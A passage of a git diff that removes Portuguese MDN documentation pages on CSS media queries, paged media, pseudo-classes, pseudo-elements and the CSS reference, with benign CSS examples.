Introdução às consultas de média, a sua sintaxe, os operadores e funcionalidades utilizadas para construir as expressões das consultas de média.
-
Testar consultas de média programaticamente
-
Descrição de como utilizar consultas de média no código JavaScript code para determinar o estado do dispositivo, e como instalar listeners que notificam o código quando o resultado das consultas muda (por exemplo, quando o utilizador roda o ecrã ou redimensiona a janela do navegador).
-
Utilizar Consultas de média para Acessibilidade
-
Este artigo explica de que forma as consultas de média podem ajudar os utilizadores a compreender melhor o seu site.
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS5 Media Queries')}}{{Spec2('CSS5 Media Queries')}} 
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Definição inicial
- -

Compatibilidade com navegadores

- -

@media rule

- - - -

{{Compat("css.at-rules.media")}}

- -

Ver também

- -
    -
  • A regra {{cssxref("@supports")}} permite aplicar estilos em função da compatibilidade do navegador com diversas tecnologias CSS.
  • -
diff --git a/files/pt-pt/web/css/media_queries/using_media_queries/index.html b/files/pt-pt/web/css/media_queries/using_media_queries/index.html deleted file mode 100644 index fee2c9ecf1..0000000000 --- a/files/pt-pt/web/css/media_queries/using_media_queries/index.html +++ /dev/null @@ -1,437 +0,0 @@ ---- -title: Utilizar consultas de média -slug: Web/CSS/Media_Queries/Using_media_queries -tags: - - Avançado - - CSS - - Desenho Adaptável - - Guía - - Media -translation_of: Web/CSS/Media_Queries/Using_media_queries -original_slug: Web/CSS/Consulta_de_mídia ---- -

{{ gecko_minversion_header("1.9.1") }}

- -

As consultas de média permitem modificar um site ou aplicação de acordo com o tipo de dispositivo (ecrã ou impressora, por exemplo) ou características e parâmetros específicos (como a resolução de ecrã ou largura do {{glossary("viewport")}} do navegador). Podem utilizar-se para:

- -
    -
  • Aplicar estilos condicionalmente numa folha CSS, com recurso às regras {{cssxref("@media")}} e {{cssxref("@import")}};
  • -
  • Desenhar para um tipo de média específico com os elementos HTML {{HTMLElement("link")}}, {{HTMLElement("source")}}, e outros;
  • -
  • Testar e monitorizar estados de média utilizando os métodos de JavaScript {{domxref("Window.matchMedia()")}} and {{domxref("MediaQueryList.addListener()")}}.
  • -
- -

Sintaxe

- -

Consultas de média consistem num tipo de média e uma ou mais expressões envolvendo recursos de média. Note que estas consultas não são sensíveis a maiúsculas. Pode-se combinar várias consultas com operadores lógicos.

- -

O resultado da consulta é verdadeiro se o tipo de média especificado na consulta de média encaixa com o tipo de dispositivo no qual o documento está a ser exibido e se todas as expressões na consulta de média forem verdadeiras.

- -

Quando uma consulta de média é verdadeira, a folha de estilos correspondente é aplicada seguinto as regras normais de cascata.

- -
-

Nota: Considere a etiqueta {{HTMLElement("link")}} com uma consulta de média. O ficheiro CSS que ela refere é descarregado mesmo que a consulta de média seja falsa; o conteúdo da folha não será aplicado até a consulta se tornar verdadeira.

-
- -

Operadores lógicos

- -

Você pode compor consultas de média complexas usando operadores lógicos, incluindo not, and, e only ; assim como combinar consultas de média numa lista separada por vírgulas, o que é equivalente a um operador "ou".

- -

and

- -

O operador and indica que a consulta é verdadeira se cada subconsulta que a compõe for verdadeira. Também pode juntar os tipos de média às funcionalidades de média. Tem maior precedência que a vírgula ("ou") e o not.

- -

not

- -

A palavra-chave not, nega o resultado de toda a consulta; por exemplo, "all and (not color)" é verdadeiro para dispositivos monocromáticos independentemente do tipo de média. É o operador com menor precedência depois da vírgula.

- -

only

- -

A palavra-chave only indica que só deve ser aplicado o estilo se a consulta inteira for verdadeira. Quando se utiliza este operador, é obrigatório especificar um tipo de média.

- -

É útil para esconder folhas de estilo de navegadores antigos que não suportam consultas de média. Por exemplo, se não for utilizado only, navegadores antigos interpretam a consulta screen and (max-width: 500px) apenas como screen - ignoram o resto e aplicam o estilo em todos os ecrãs. 

- -

Este operador não pode ser utilizado em conjunto com o not, e ambos têm a mesma precedência.

- -

, (vírgula)

- -

Cada subconsulta numa lista separada por vírgulas é avaliada isoladamente e e alguma  for verdadeira, a consulta composta é verdadeira. Por outras palavras, as vírgulas são equivalentes a um "ou-lógico".

- -

Precedência dos operadores

- -
    -
  • As vírgulas têm a menor precedência;
  • -
  • only e not têm a mesma precedência;
  • -
  • and tem a maior precedência.
  • -
- -

Os parênteses não podem ser utilizados para mudar esta precedência.

- -

 

- -

Pseudo BNF (para aqueles que gostam desde tipo de coisa)

- -
media_query_list: <media_query> [, <media_query> ]*
-media_query: [[only | not]? <media_type> [ and <expression> ]*]
-  | <expression> [ and <expression> ]*
-expression: ( <media_feature> [: <value>]? )
-media_type: all | aural | braille | handheld | print |
-  projection | screen | tty | tv | embossed
-media_feature: width | min-width | max-width
-  | height | min-height | max-height
-  | device-width | min-device-width | max-device-width
-  | device-height | min-device-height | max-device-height
-  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
-  | color | min-color | max-color
-  | color-index | min-color-index | max-color-index
-  | monochrome | min-monochrome | max-monochrome
-  | resolution | min-resolution | max-resolution
-  | scan | grid
- -

Consultas de média não diferenciam maiúsculas de minúsculas. Consultas de média que envolvem tipos de média desconhecidos são sempre falsas.

- -
Nota: Os parênteses são requisitados a volta de expressões; esquecer de usá-los é um erro.
- -

Recursos de média

- -

A maioria dos recursos de média pode ser prefixado com "min-" ou "max-" para expressar "maior ou igual a" ou "menor ou igual a". Isto evita usar os símbolos "<" e ">", que poderiam entrar em conflito com HTML e XML. Se você usar um recurso de média sem especificar um valor, a expressão é definida como verdadeira se o valor do recurso for diferente de zero.

- -
Nota: Se um recurso de média não se aplica ao dispositivo no qual o navegador está sendo rodado, expressões envolvendo este recurso de média serão sempre falsas. Por exemplo, consultando a relação de aspecto de um dispositivo auditivo sempre resultará em falso.
- -

color

- -

Valor: {{cssxref("<color>")}}
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de bits por componente de cor do dispositivo de saída. Se o dispositivo não é colorido, este valor é zero.

- -
Nota: Se os componentes de cor tiverem diferentes de números de bits por componente de cor, o menor número é usado. Por exemplo, se uma tela usa 5 bits para azul e vermelho e 6 bits para verde, então o dispositivo é considerado para usar 5 bits por componente de cor. Se o dispositivo usa cores indexadas, o número mínimo de bits por componente de cor na tabela de cores é usado.
- -

Exemplos

- -

Para aplicar uma folha de estilos a todos os dispositivos coloridos:

- -
@media all and (color) { ... }
-
- -

Para aplicar uma folha de estilos a dispositivos com no mínimo 4 bits por componente de cor:

- -
@media all and (min-color: 4) { ... }
-
- -

color-index

- -

Valor: integer
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de entradas na tabela de cor para o dispositivo de saída.

- -

Exemplos

- -

Para indicar que uma folha de estilos deve ser aplicada a todos os dispositivos usando cores indexadas, você pode fazer:

- -
@media all and (color-index) { ... }
-
- -

Para aplicar uma folha de estilos a dispositivos de cores indexadas com no mínimo 256 cores:

- -
<link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" />
-
- -

device-aspect-ratio

- -

Valor: integer / integer
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a relação de aspecto do dispositivo de saída. Este valor consiste em dois positivos inteiros (integer) separados por um caractére barra ("/"). Isto representa o número de pixels horizontais sobre o número de pixels verticais.

- -

Exemplo

- -

O que vem a seguir selecionar uma folha de estilos especial para uso em dispositivos de tela comprida (widescreen):

- -
@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }
- -

Isto seleciona o estilo quando a relação de aspecto for 16:9 ou 16:10.

- -

device-height

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a altura do dispositivo de saída (sendo a tela ou página inteira, ao invés de somente a área de renderização, como a janela do documento).

- -

Exemplo

- -

Para aplicar uma folha de estilos a um documento quando exibido em uma tela que for mais fina do que 800 pixels, você pode usar isto:

- -
<link rel="stylesheet" media="screen and (max-device-width: 799px)" />
-
- -

device-width

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

Descreve a largura do dispositivo de saída (sendo a tela ou a página inteira, ao invés de somente a área de renderização, como a janela do documento).

- -

grid

- -

Valor: integer
- média: all
- Aceita os prefixos min/max: não

- -

Determina Determines se o dispositivo de saída é um dispositivo grid ou um dispositivo bitmap. Se o dispositivo for baseado em grid (tal como um terminal tty ou uma tela de celular com somente uma fonte), o valor é 1. Caso contrário é zero.

- -
Nota: Gecko (e consequentemente o Firefox) não suporta dispositivos grid atualmente, então este recurso de média não é suportado.
- -

Exemplo

- -

Para aplicar um estilo a dispositivos de mão com uma tela de 15 caracteres ou mais estreito:

- -
@media handheld and (grid) and (max-width: 15em) { ... }
-
- -
Nota: A unidade "em" tem um uso especial em dispositivos grid; desde que a largura exata de um "em" não pôde ser determinada, 1em é assumido como a largura de uma célula grid horizontal, e a altura de uma célula vertical.
- -

height

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

O recurso de média height descreve a altura da superfície de renderização do dispositivo de saída (tal como a altura da viewport ou da caixa de páginas em uma impressora).

- -
Nota: Quando o usuário redimenciona a janela, o Firefox substituirá as folhas de estilos como for apropriado, baseado em consultas de média usando os recursos de média width e height.
- -

monochrome

- -

Valor: integer
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: sim

- -

Indica o número de bits por pixel em um dispositivo monocromático (escala de cinza). Se o dispositivo não for monocromático, o valor do dispositivo é 0.

- -

Exemplos

- -

Para aplicar uma folha de estilos para todos os dispositivos monocromáticos:

- -
@media all and (monochrome) { ... }
-
- -

Para aplicar uma folha de estilos para dispositivos monocromáticos com no mínimo 8 bits por pixel:

- -
@media all and (min-monochrome: 8) { ... }
-
- -

orientation

- -

Valor: landscape | portrait
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Indica se o dispositivo está em modo paisagem (a exibição é mais larga do que alta) ou retrato (a exibição é mais alta do que larga).

- -

Exemplo

- -

Para aplicar uma folha de estilos somente na orientação retrato:

- -
@media all and (orientation: portrait) { ... }
- -

resolution

- -

Valor: {{cssxref("<resolution>")}}
- média: {{cssxref("Media/Bitmap", "bitmap")}}
- Aceita os prefixos min/max: sim

- -

Indica a resolução (densidade de pixels) do dispositivo de saída. A resolução pode ser especificada tanto em pontos por polegada (dpi) quanto pontos por centímetro (dpcm).

- -

Exemplo

- -

Para aplicar uma folha de estilos a dispositivos com no mínimo 300 pontos por polegada de resolução:

- -
@media print and (min-resolution: 300dpi) { ... }
-
- -

scan

- -

Valor: progressiveinterlace
- média: {{cssxref("Media/TV", "tv")}}
- Aceita os prefixos min/max: não

- -

Descreve o processo de escaneamento de dispositivos de saída de televisão.

- -
Nota: Gecko (e consequentemente o Firefox) não suportam o tipo de média tv atualmente, então este recurso de média não é suportado.
- -

Exemplo

- -

Para aplicar uma folha de estilos somente para televisões com escaneamento progressivo:

- -
@media tv and (scan: progressive) { ... }
-
- -

width

- -

Valor: {{cssxref("<length>")}}
- média: {{cssxref("Media/Visual", "visual")}}, {{cssxref("Medium/Tactile", "tactile")}}
- Aceita os prefixos min/max: sim

- -

O recurso de média width descreve a largura da superfície de renderização do dispositivo de saída (tal como a largura da janela do documento, ou a largura da caixa de páginas em uma impressora).

- -
Nota: Quando o usuário redimensiona a janela, o Firefox substituirá a folha de estilo como apropriado, baseado nas consultas de média usando os recursos de média width e height.
- -

Exemplos

- -

Se você desejar espeficar uma folha de estilos para dispositivos de mão, ou dispositivos de tela com uma largura maior do que 20em, você pode usar esta folha de estilos:

- -
@media handheld and (min-width: 20em), screen and (min-width: 20em) { ... }
-
- -

Este recurso de média especifica uma folha de estilos que deve ser aplicada a médias impressas mais largas do que 8.5 polegadas:

- -
<link rel="stylesheet" media="print and (min-width: 8.5in)"
-    href="http://foo.com/mystyle.css" />
-
- -

Este recurso especifica uma folha de estilos que é usável quando a viewport estiver entre 500 e 800 pixels de largura:

- -
@media screen and (min-width: 500px) and (max-width: 800px) { ... }
-
- -

Características de média específicas da Mozilla

- -

{{ gecko_minversion_header("1.9.2") }}

- -

A Mozilla oferece várias características de média específicas para o Gecko. Algumas delas podem ser propostas como características oficiais de média.

- -

-moz-images-in-menus

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o dispositivo permitir às imagens, aparecer nos menus, recebe 1; caso contrário, o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(images-in-menus)") }} do CSS.

- -

-moz-mac-graphite-theme

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário configurou o dispositivo para usar a aparência "Graphite" no Mac OS X, o valor é 1. Se o usuário está usando a aparência azul padrão, ou não for no Mac OS X, o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(mac-graphite-theme)") }} do CSS.

- -

-moz-maemo-classic

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário está usando o Maemo com o tema original, o valor é 1; se estiver usando o novo tema "Fremantle", o valor é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(maemo-classic)") }} do CSS.

- -

-moz-scrollbar-end-backward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe um botão de seta para trás ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-backward)") }} do CSS.

- -

-moz-scrollbar-end-forward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe um botão de seta para frente ao fim da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-end-forward)") }} do CSS.

- -

-moz-scrollbar-start-backward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe uma seta para trás no início da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-backward)") }} do CSS.

- -

-moz-scrollbar-start-forward

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe uma seta para frente no início da barra de rolagem, o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-start-forward)") }} do CSS.

- -

-moz-scrollbar-thumb-proportional

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se a interface do dispositivo do usuário exibe a barra de rolagem proporcionalmente (isto é, tamanho baseado na porcentagem do documento que está visível), o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(scrollbar-thumb-proportional)") }} do CSS.

- -

-moz-touch-enabled

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o dispositivo suporta eventos de toque (para um tela sensível ao toque), o valor é 1. Caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(touch-enabled)") }} do CSS.

- -

Exemplo

- -

Você pode usar isso para renderizar seus botões ligeiramente maiores, por exemplo, se o usuário estiver em um dispositivo com tela sensível ao toque, para torná-lo mais amigável aos dedos.

- -

-moz-windows-classic

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário estiver usando o Windows, sem tema (no modo clássico ao invés de usar "uxtheme"), o valor é 1; caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-classic)") }} do CSS.

- -

-moz-windows-compositor

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário estiver usando o Windows com o compositor DWM, o valor é 1; caso contrário é 0.

- -

Isto corresponde às pseudo classes {{ cssxref(":-moz-system-metric(windows-compositor)") }} do CSS.

- -

-moz-windows-default-theme

- -

Valor: inteiro
- média: {{cssxref("Media/Visual", "visual")}}
- Aceita os prefixos min/max: não

- -

Se o usuário está correntemente usando um dos temas do Windows (Luna, Royale, Zune ou Aero (incluindo o Vista Basic, Vista Advanced e o Aero Glass), o valor 1. Caso contrário é 0.

- -

Veja também

- - diff --git a/files/pt-pt/web/css/paged_media/index.html b/files/pt-pt/web/css/paged_media/index.html deleted file mode 100644 index 53d7d35781..0000000000 --- a/files/pt-pt/web/css/paged_media/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Média paginada -slug: Web/CSS/Paged_Media -tags: - - CSS - - CSS3 - - Quebras de Página -translation_of: Web/CSS/Paged_Media -original_slug: Web/CSS/Média_paginada ---- -

Paged media properties control the presentation of content for print or any other media that splits content into discrete pages. It allows you to set page breaks, control printable area, style left and right pages differently, and control breaks inside elements. Popularly supported properties include

- -
    -
  • {{ cssxref("page-break-before") }}
  • -
  • {{ cssxref("page-break-after") }}
  • -
  • {{ cssxref("page-break-inside") }}
  • -
  • {{ cssxref("orphans") }}
  • -
  • {{ cssxref("widows") }}
  • -
  • {{ cssxref("@page") }}
  • -
diff --git a/files/pt-pt/web/css/pseudo-classes/index.html b/files/pt-pt/web/css/pseudo-classes/index.html deleted file mode 100644 index e6d3d58c0f..0000000000 --- a/files/pt-pt/web/css/pseudo-classes/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Pseudoclasses -slug: Web/CSS/Pseudo-classes -tags: - - CSS - - Pseudoclasse - - Referencia - - Resumo - - Seletores - - Sinopse -translation_of: Web/CSS/Pseudo-classes -original_slug: Web/CSS/Pseudoclasses ---- -
{{CSSRef}}
- -

A CSS pseudo-class is a keyword added to a selector that specifies a special state of the selected element(s). For example, {{CSSxRef(":hover")}} can be used to change a button's color when the user's pointer hovers over it.

- -
/* Any button over which the user's pointer is hovering */
-button:hover {
-  color: blue;
-}
- -

Pseudo-classes let you apply a style to an element not only in relation to the content of the document tree, but also in relation to external factors like the history of the navigator ({{CSSxRef(":visited")}}, for example), the status of its content (like {{CSSxRef(":checked")}} on certain form elements), or the position of the mouse (like {{CSSxRef(":hover")}}, which lets you know if the mouse is over an element or not).

- -
-

Nota: In contrast to pseudo-classes, pseudo-elements can be used to style a specific part of an element.

-
- -

Sintaxe

- -
selector:pseudo-class {
-  property: value;
-}
-
- -

Like regular classes, you can chain together as many pseudo-classes as you want in a selector.

- -

Índice de pseudoclasses padrões

- -
-
    -
  • {{CSSxRef(":active")}}
  • -
  • {{CSSxRef(":any-link")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":blank")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":checked")}}
  • -
  • {{CSSxRef(":current")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":default")}}
  • -
  • {{CSSxRef(":defined")}}
  • -
  • {{CSSxRef(":dir", ":dir()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":disabled")}}
  • -
  • {{CSSxRef(":drop")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":empty")}}
  • -
  • {{CSSxRef(":enabled")}}
  • -
  • {{CSSxRef(":first")}}
  • -
  • {{CSSxRef(":first-child")}}
  • -
  • {{CSSxRef(":first-of-type")}}
  • -
  • {{CSSxRef(":fullscreen")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":future")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":focus")}}
  • -
  • {{CSSxRef(":focus-visible")}}
  • -
  • {{CSSxRef(":focus-within")}}
  • -
  • {{CSSxRef(":has", ":has()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":host")}}
  • -
  • {{CSSxRef(":host()")}}
  • -
  • {{CSSxRef(":host-context()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":hover")}}
  • -
  • {{CSSxRef(":indeterminate")}}
  • -
  • {{CSSxRef(":in-range")}}
  • -
  • {{CSSxRef(":invalid")}}
  • -
  • {{CSSxRef(":lang", ":lang()")}}
  • -
  • {{CSSxRef(":last-child")}}
  • -
  • {{CSSxRef(":last-of-type")}}
  • -
  • {{CSSxRef(":left")}}
  • -
  • {{CSSxRef(":link")}}
  • -
  • {{CSSxRef(":local-link")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":matches", ":matches()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":not", ":not()")}}
  • -
  • {{CSSxRef(":nth-child", ":nth-child()")}}
  • -
  • {{CSSxRef(":nth-col", ":nth-col()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":nth-last-child", ":nth-last-child()")}}
  • -
  • {{CSSxRef(":nth-last-col", ":nth-last-col()")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":nth-last-of-type", ":nth-last-of-type()")}}
  • -
  • {{CSSxRef(":nth-of-type", ":nth-of-type()")}}
  • -
  • {{CSSxRef(":only-child")}}
  • -
  • {{CSSxRef(":only-of-type")}}
  • -
  • {{CSSxRef(":optional")}}
  • -
  • {{CSSxRef(":out-of-range")}}
  • -
  • {{CSSxRef(":past")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":placeholder-shown")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":read-only")}}
  • -
  • {{CSSxRef(":read-write")}}
  • -
  • {{CSSxRef(":required")}}
  • -
  • {{CSSxRef(":right")}}
  • -
  • {{CSSxRef(":root")}}
  • -
  • {{CSSxRef(":scope")}}
  • -
  • {{CSSxRef(":target")}}
  • -
  • {{CSSxRef(":target-within")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":user-invalid")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef(":valid")}}
  • -
  • {{CSSxRef(":visited")}}
  • -
-
- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName("Fullscreen")}}{{Spec2("Fullscreen")}}Defined :fullscreen.
{{SpecName("HTML WHATWG", "#pseudo-classes")}}{{Spec2("HTML WHATWG")}}Defines when particular selectors match HTML elements.
{{SpecName("CSS4 Selectors")}}{{Spec2("CSS4 Selectors")}}Defined :any-link, :blank, :local-link, :scope, :drop, :current, :past, :future, :placeholder-shown, :user-invalid, :nth-col(), :nth-last-col() and :matches().
- No significant change for pseudo-classes defined in {{SpecName("CSS3 Selectors")}} and {{SpecName("HTML5 W3C")}} (though semantic meaning not taken over).
{{SpecName("HTML5 W3C")}}{{Spec2("HTML5 W3C")}}Copies the relevant section from the canonical (WHATWG) HTML spec.
{{SpecName("CSS3 Basic UI")}}{{Spec2("CSS3 Basic UI")}}Defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
{{SpecName("CSS3 Selectors")}}{{Spec2("CSS3 Selectors")}}Defined :target, :root, :nth-child(), :nth-last-of-child(), :nth-of-type(), :nth-last-of-type(), :last-child, :first-of-type, :last-of-type, :only-child, :only-of-type, :empty and :not().
- Defined the syntax of :enabled, :disabled, :checked, and :indeterminate, but without the associated semantic meaning.
- No significant change for pseudo-classes defined in {{SpecName('CSS2.1')}}.
{{SpecName("CSS2.1")}}{{Spec2("CSS2.1")}}Defined :lang(), :first-child, :hover, and :focus.
- No significant change for pseudo-classes defined in {{SpecName('CSS1')}}.
{{SpecName("CSS1")}}{{Spec2("CSS1")}}Defined :link, :visited and :active, but without the associated semantic meaning.
- -

Consultar também:

- - diff --git a/files/pt-pt/web/css/pseudo-elements/index.html b/files/pt-pt/web/css/pseudo-elements/index.html deleted file mode 100644 index 84716924ad..0000000000 --- a/files/pt-pt/web/css/pseudo-elements/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Pseudoelementos -slug: Web/CSS/Pseudo-elements -tags: - - CSS - - Pseudoelemento - - Referencia - - Resumo - - Seletores - - Sinopse -translation_of: Web/CSS/Pseudo-elements -original_slug: Web/CSS/Pseudoelementos ---- -
{{CSSRef}}
- -

Um pseudoelemento de CSS é uma palavra-chave adicionada ao seletor que lhe permite estilizar uma parte específica do(s) elemento(s) selecionado(s). Por exemplo, {{CSSxRef("::first-line")}} pode ser utilizado para alterar o tipo de letra da primeira linha de um parágrafo.

- -
/* The first line of every <p> element. */
-p::first-line {
-  color: blue;
-  text-transform: uppercase;
-}
- -
-

Nota: In contrast to pseudo-elements, {{CSSxRef("pseudo-classes")}} can be used to style an element based on its state.

-
- -

Sintaxe

- -
selector::pseudo-element {
-  property: value;
-}
- -

You can use only one pseudo-element in a selector. It must appear after the simple selectors in the statement.

- -
-

Note: As a rule, double colons (::) should be used instead of a single colon (:). This distinguishes pseudo-classes from pseudo-elements. However, since this distinction was not present in older versions of the W3C spec, most browsers support both syntaxes for the original pseudo-elements.

-
- -

Índice de pseudoelementos padrões

- -
-
    -
  • {{CSSxRef("::after", "::after (:after)")}}
  • -
  • {{CSSxRef("::backdrop")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef("::before", "::before (:before)")}}
  • -
  • {{CSSxRef("::cue", "::cue (:cue)")}}
  • -
  • {{CSSxRef("::first-letter", "::first-letter (:first-letter)")}}
  • -
  • {{CSSxRef("::first-line", "::first-line (:first-line)")}}
  • -
  • {{CSSxRef("::grammar-error")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef("::marker")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef("::placeholder")}} {{Experimental_Inline}}
  • -
  • {{CSSxRef("::selection")}}
  • -
  • {{CSSxRef("::slotted", "::slotted()")}}
  • -
  • {{CSSxRef("::spelling-error")}} {{Experimental_Inline}}
  • -
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão Mais BaixaSuporta
Internet Explorer8.0:pseudo-element
9.0:pseudo-element ::pseudo-element
Firefox (Gecko)1.0 (1.0):pseudo-element
1.0 (1.5):pseudo-element ::pseudo-element
Opera4.0:pseudo-element
7.0:pseudo-element ::pseudo-element
Safari (WebKit)1.0 (85):pseudo-element ::pseudo-element
- -

Consultar também:

- - diff --git a/files/pt-pt/web/css/reference/index.html b/files/pt-pt/web/css/reference/index.html deleted file mode 100644 index 836097577a..0000000000 --- a/files/pt-pt/web/css/reference/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: CSS - Referência -slug: Web/CSS/Reference -tags: - - CSS - - Referencia - - Resumo - - Sinopse - - l10n:priority -translation_of: Web/CSS/Reference -original_slug: Web/CSS/Referência_CSS ---- -
{{CSSRef}}
- -

Utilize esta referência de CSS para explorar um índex alfabético de todas as propriedades de CSS padrão, pseudoclasses, pseudoelementos, tipos de dados, e regras "at". Também pode explorar uma lista de todos os seletores de CSS organizados pelo tipo e uma lista de conceitos de CSS chave. Também incluido nesta breve referência de DOM-CSS / CSSOM.

- -

Sintaxe Básica

- -

Estilo padrão de sintaxe

- -
selectorlist {
-  property: value;
-  [more property:value; pairs]
-}
-
-... where selectorlist is: selector[:pseudo-class] [::pseudo-element] [, more selectorlists]
-
-See selector, pseudo-class, pseudo-element lists below.
-
- -

Exemplos de regra de estilo

- -
strong {
-  color: red;
-}
-
-div.menu-bar li:hover > ul {
-  display: block;
-}
-
- -

For a beginner-level introduction to the syntax of CSS selectors, please see this tutorial. Be aware that any CSS syntax error in a rule definition invalidates the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) text-based, whereas DOM-CSS / CSSOM (the rule management system) is object-based.

- -

Sintaxe de regra "At"

- -

As the structure of at-rules varies widely, please see At-rule to find the syntax of the specific one you want.

- -

Índex de palavra-chave

- -
-

Nota: Os nomes das propriadades neste índex não incluem os nomes de JavaScript onde eles diferem com nomes padrão de CSS.

-
- -
{{CSS_Ref}}
- -

Seletors

- - - -

Seletores básicos

- - - -

Combinadores

- - - -

Pseudoclasses

- -
-
    - -
-
- -

Pseudoelementos

- -
-
    - -
-
- -
-

Consulte também: uma lista de seletores completa na especificação de Seletores Nível 3.

-
- -

Conceitos

- -

Sintaxe e semântica

- - - -

Valores

- - - -

Layout

- - - -

DOM-CSS / CSSOM

- -

Major object types

- - - -

Métodos importantes

- -
    -
  • {{domxref("CSSStyleSheet.insertRule")}}
  • -
  • {{domxref("CSSStyleSheet.deleteRule")}}
  • -
- -

Consultar também:

- - diff --git a/files/pt-pt/web/css/replaced_element/index.html b/files/pt-pt/web/css/replaced_element/index.html deleted file mode 100644 index 47f2e968f9..0000000000 --- a/files/pt-pt/web/css/replaced_element/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Elemento substituído -slug: Web/CSS/Replaced_element -tags: - - CSS - - Element -translation_of: Web/CSS/Replaced_element ---- -
{{CSSRef()}}
- -

Resumo

- -

